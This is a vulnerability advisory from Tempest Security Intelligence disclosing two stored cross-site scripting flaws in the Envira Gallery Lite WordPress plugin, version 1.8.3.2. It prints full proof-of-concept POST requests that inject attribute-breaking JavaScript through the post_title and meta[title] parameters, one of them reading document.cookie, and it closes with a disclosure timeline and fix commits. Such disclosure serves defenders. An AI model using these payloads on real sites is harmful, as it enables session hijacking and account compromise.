==== [Tempest Security Intelligence - ADV-12/2020] ============================= Envira Gallery - Lite Edition - Version 1.8.3.2 Author: Rodolfo Tavares Tempest Security Intelligence - Recife, Pernambuco - Brazil ===== [Table of Contents] ================================================ • Overview • Detailed description • Disclosure timeline • Acknowledgements • References ===== [Vulnerability Information] =========================================== Category: Improper Neutralization of an Input while Generating a Web Page. ('Cross-site Scripting') [CWE-79] CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N ===== [Overview] ====================================================== Affected system: Envira Gallery – Lite Edition Software version: Lite - 1.8.3.2 Impacts: The browser of the end-user doesn't have a way to know whether the script should be trusted or not, and ends up executing it. Since the browser believes that the script is from a trusted source, it can access any cookies, session tokens, and other sensitive information that is retained by the browser and used on the website. The script can also be used to redirect the victim into a malicious website, in order to perform a phishing attack or steal information. ==== [Detailed description] ================================================ Envira Gallery Lite Edition - Version 1.8.3.2 is vulnerable to an XSS that is stored through the meta[title] parameter and a second XSS, which is stored through the post_title parameter. [1]- XSS located at http://localhost:8080/wp-admin/post.php and stored through the post_title parameter: To exploit the XSS through POST, insert a single char in the endpoint post.php and in the parameter post_title, then close the current by including a javascript payload. As showed on the example bellow: POST /wp-admin/post.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1771 Origin: http://localhost:8080 Connection: close Cookie: [cookies] _wpnonce=2671a27a51&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=envira&original_post_status=publish&referredby= http://localhost:8080/wp-admin/edit.php?post_type=envira&_wp_original_http_referer=http://localhost:8080/wp-admin/edit.php?post_type=envira&post_ID=2933&meta-box-order-nonce=3751b8aa86&closedpostboxesnonce=d58bcab0d3&post_title=nf3 "onfocus="alert(2)"autofocus="n3fx8&samplepermalinknonce=24f9403378&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=12&jj=16&aa=2020&hh=14&mn=22&ss=03&hidden_mm=12&cur_mm=12&hidden_jj=16&cur_jj=16&hidden_aa=2020&cur_aa=2020&hidden_hh=14&cur_hh=20&hidden_mn=22&cur_mn=09&original_publish=Update&save=Update&_envira_gallery[type]=default&async-upload=&post_id=2933&envira-gallery=031bef86cc&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&_envira_gallery[type_default]=1&_envira_gallery[columns]=0&_envira_gallery[lazy_loading]=1&_envira_gallery[lazy_loading_delay]=500&_envira_gallery[justified_row_height]=150&_envira_gallery[justified_margins]=1&_envira_gallery[gallery_theme]=base&_envira_gallery[gutter]=10&_envira_gallery[margin]=10&_envira_gallery[image_size]=default&_envira_gallery[crop_width]=640&_envira_gallery[crop_height]=480&_envira_gallery[lightbox_enabled]=1&_envira_gallery[lightbox_theme]=base&_envira_gallery[lightbox_image_size]=default&_envira_gallery[title_display]=float&_envira_gallery[title]=nf3&_envira_gallery[slug]=change-the-gallery-title&_envira_gallery[classes]= [2]- XSS stored at [/wp-admin/admin-ajax.php] To exploit the XSS through POST, insert a single char in the endpoint wp-admin/admin-ajax.php and in the parameter meta[title], close the current one by inserting a double quote ("), and then insert a javascript payload. As showed on the example bellow: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wp-admin/post.php?post=2931&action=edit Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 541 Origin: http://localhost:8080 Connection: close Cookie: [cookies] nonce=bb7f61ad8e&post_id=2931&attach_id=2937&meta[id]=2937&meta[title]=bug"onmousemove="alert(document.cookie)&meta[caption]=&meta[alt]=&meta[link]=&meta[status]=active&meta[src]=&meta[thumb]=&meta[_thumbnail]=&action=envira_gallery_save_meta ==== [Disclosure timeline] ================================================ 17/Dez/2020 – Initiated the responsible disclosure with the vendor. 17/Dez/2020 - Envira Gallery confirmed the issue. 18/Dez/2020 - The vendor fixed the vulnerability on the first XSS. 19/Dez/2020 - The vendor fixed the vulnerability on the second XSS. 22/May/2020 - CVEs were assigned and reserved as CVE-2020-35581, CVE-2020-35582 =====[Acknowledgements]======================================= ======== Tempest Security Intelligence [5] ==== [References] ====================================================== [1][ https://cwe.mitre.org/data/definitions/79.html [2][ https://github.com/enviragallery/envira-gallery-lite/commit/3b081dd10a1731f8cd981bebeac0e775fb217acf ] [4][ https://github.com/enviragallery/envira-gallery-lite/commit/102651514e6faca914ec1c7e113def340d8e1e09 ] [5][ https://www.tempest.com.br ==== [EOF] =========================================================== --